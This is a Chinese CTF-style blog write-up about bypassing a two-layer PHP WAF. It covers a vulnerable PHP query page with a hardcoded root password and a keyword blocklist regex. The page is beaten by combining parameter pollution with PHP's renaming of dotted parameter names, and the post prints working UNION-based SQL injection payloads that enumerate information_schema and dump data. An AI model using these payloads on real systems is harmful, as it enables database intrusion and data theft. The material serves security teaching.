sql注入 ------- hpp+php绕过waf

目录

一、环境搭建

1、源码

2、数据库连接

二、源码分析

1、第一层waf

2、第二层waf

参数拆解

3、第三层查询

4、传入参数以及返回的结果

三、waf绕过

1、绕过难点

2、php特性绕过第一层waf

(一) 特性一

(二) 特性二

(三)利用两个特性绕过第一层waf 

3、绕过第二层waf

1、所需绕过技巧

2、查数据库名:

3、查表名:

4、查列名:

5、查表数据:

完成绕过,成功拿下数据库 


一、环境搭建

1、源码

index.php

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }

  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

2、数据库连接

<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="#ABCabc123";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>

二、源码分析

如果不需要代码解析可以直接跳到第三节!!!!!!

1、第一层waf

前端传入参数后,先通过以下代码传入第一层waf里面,进入dowith_sql函数对传入的参数进行判断和过滤,不满足条件便直接退出并提升 " 非法字符 " ,如果满足条件就执行后面的语句

  foreach ($_REQUEST as $key => $value) {

      $_REQUEST[$key] = dowith_sql($value);

  }

第一个waf过滤掉了  select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile  等关键字

  function dowith_sql($str) {

      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);

      if ($check) {

          echo "非法字符!";

          exit();

      }

      return $str;

  }

2、第二层waf

第二层接收到通过接收REQUEST传来的URL的值,对参数进行第二次过滤筛选,通过 ?将传入的值进行分割。

$_SERVER['REQUEST_URI'] — 访问此页面所需的 URI。例如,“/index.php?code=aaa”

参数拆解

假如传递的参数为 ?i_d=1&submit=1 ,第一步使用explode通过?将参数分割

那么 

$request_uri[0] = ? 

$request_uri[1] = i_d=1&submit=1

第二次分割

$rewrite_url[0] = i_d=1

$rewrite_url[1] = submit=1

循环遍历rewrite_url数组,分别对参数通过 "=" 进行分割,然后将分割后的参数赋值给$_value

$_value[0] = i_d

$_value[1] = 1

进入if循环,将$_value[1]的值传入第二层waf的dhtmlspecialchars函数,以及php的addslashes函数中,将通过过滤的值在重新赋值给$_value[0]即i_d;

$request_uri = explode("?", $_SERVER['REQUEST_URI']);

  if (isset($request_uri[1])) {

      $rewrite_url = explode("&", $request_uri[1]);

      foreach ($rewrite_url as $key => $value) {

          $_value = explode("=", $value);

          if (isset($_value[1])) {

              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));

          }

      }

  }

addslashes函数的作用为过滤字符,如下图所列:

 

3、第三层查询

  if (isset($_REQUEST['submit'])) {

      $user_id = $_REQUEST['i_d'];

      $sql = "select * from ctf.users where id=$user_id";

      $result=mysql_query($sql);

      while($row = mysql_fetch_array($result))

      {

          echo "<tr>";

          echo "<td>" . $row['name'] . "</td>";

          echo "</tr>";

      }

  }

将前面两次waf过滤之后的数据拿到,判断传入的参数里面是否有submit字段,如果有就进入if语句内部 

假如传递的参数为 ?i_d=1&submit=1

$user_id=1

$sql = "select * from ctf.users where id=1"

$result 接收 $sql 在数据库查询出来的内容

$row = mysql_fetch_array($result)将 $result 的数据拿到,并将数据传入 $row  中

while循环判断 $row 里面是否有数据,如果有数据,就进入while语句内部,打印 $row['name']。

 

4、传入参数以及返回的结果

我的数据库存储的数据为:

 

三、waf绕过

1、绕过难点

第一层waf将以下关键字都过滤掉了

/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is

第二层waf将以下符号转化为实体编码,其中的两个英文括号转化为中文括号

str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')')

这代表我们无法使用concat(),updatexml(),floor()等函数

!!!!!面对这种过滤,是否感到非常的棘手

2、php特性绕过第一层waf

但是这种过滤真的没法绕过吗,这里就需要对代码进行细致的分析了,比如下列代码

  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

将$_SERVER['REQUEST_URI']用 ? 分开,? 后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));

这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。

按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。

那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。

 

(一) 特性一

首先,来看一下以下代码执行返回的数据

hpp.php

<?php echo $_REQUEST['i_d']; ?>

可以看到获取了id=2的内容,当我们输入两个相同名字的参数的时候,php是取后一个的

实验做完了,回到漏洞。

我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?

但上述实验的结果表示,我这个假设是不成立的。二者获取的结果都是22222 。那么,这个思路是否就是不可行的了?

 

(二) 特性二

 

 

 

这是php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。

那么假设我发送的是这样一个请求: /t.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/t.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。

利用下列代码可以查看$_SERVER获取的REQUEST_URI与$_REQUEST通过php特性直接获取

的参数存在的区别

hpp.php 

<?php
echo "this is requeset get parameter:" ;
echo $_REQUEST['i_d']; 

echo "this is server get parameter:";

$request_uri = explode("?", $_SERVER['REQUEST_URI']);

echo "<pre>";
var_dump($request_uri);

if (isset($request_uri[1])) {
    $rewrite_url = explode("&", $request_uri[1]);

    echo "<pre>";
    var_dump($rewrite_url);exit;
}

?>

 

 

可以发现,$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['user_id']却是11111。

完美践行了我上述的思路:WAF检测的是2,实际插入数据库的却是1

(三)利用两个特性绕过第一层waf 

所以,我们可以通过这种方式将上述的php特性进行第一层waf的绕过

让第一层waf检查第二个传入的正常参数,$_SERVER 检查传入的第一个带有payload的参数

如:

i_d=-1/**/union/**/select/**/1,2,3&i.d=123456&submit

 

3、绕过第二层waf

1、所需绕过技巧

空格: /**/  %0a   %0b

=:    like rlike regexp

" "和' ':   当用于包裹数据库名等状态下,可以通过将数据库名这些转为十六进制绕过 

2、查数据库名:

i_d=-1/**/union/**/select/**/1,table_schema,3/**/from/**/information_schema.tables&i.d=123456&submit

可以通过limit一个一个数据库的拿,我这里就不演示了,我们这里使用的数据库名为:cft

3、查表名:

i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=123456&submit

这里由于第二层waf会将 "=" 切割," ' " 会被addslashes过滤,所以只能使用like、rlike、regexp等方法查询,但是数据库名没有单双引号无法查询。

但是幸运的是mysql支持16进制的编码,所以我们可以将数据库名进行应该十六进制的转换。

利用工具cyber进行转换

 

4、查列名:

i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=123456&submit

将users也替换为十六进制

users -----> 0x7573657273

 

5、查表数据:

i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=123456&submit

因为ctf.users并不需要被单双引号包裹,所以无需转十六进制。

完成绕过,成功拿下数据库 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值